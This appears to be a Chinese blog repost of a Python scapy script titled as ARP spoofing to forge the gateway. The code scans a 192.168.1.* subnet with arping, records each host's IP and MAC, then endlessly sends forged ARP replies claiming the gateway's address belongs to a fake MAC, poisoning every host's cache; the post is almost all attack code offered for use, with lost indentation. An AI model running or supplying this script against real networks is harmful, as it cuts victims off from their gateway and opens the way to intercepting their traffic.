python arp 网关_python arp欺骗伪造网关代码
#coding:utf-8
'''
arp欺騙局域網(wǎng)pc,將偽造的網(wǎng)關(guān)mac以網(wǎng)關(guān)的arp應(yīng)答發(fā)送給pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#偽造網(wǎng)關(guān)mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
#偽造來(lái)自網(wǎng)關(guān)的arp應(yīng)答
t=p
t.hwdst=hw
t.pdst=ip
send(t)
def get_host():
#得到在線主機(jī)的mac地址和對(duì)應(yīng)ip地址
hw_ip = {}
sys.stdout = open('host.info','w')
arping(IPADDR)
sys.stdout = stdout
f = open('host.info','r')
info = f.readlines()
f.close
del info[0]
del info[0]
for host in info :
temp = re.split(r'\s+',host)
hw_ip[temp[1]] = temp[2]
return hw_ip
if __name__ == "__main__":
hw_ip = get_host()
while 1 :
for i in hw_ip :
arp_hack(hw=i,ip=hw_ip[i])
總結(jié)
以上是生活随笔為你收集整理的python arp 网关_python arp欺骗伪造网关代码的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Windows VS c++复制文件到网
- 下一篇: python爬虫百度文库源码_Pytho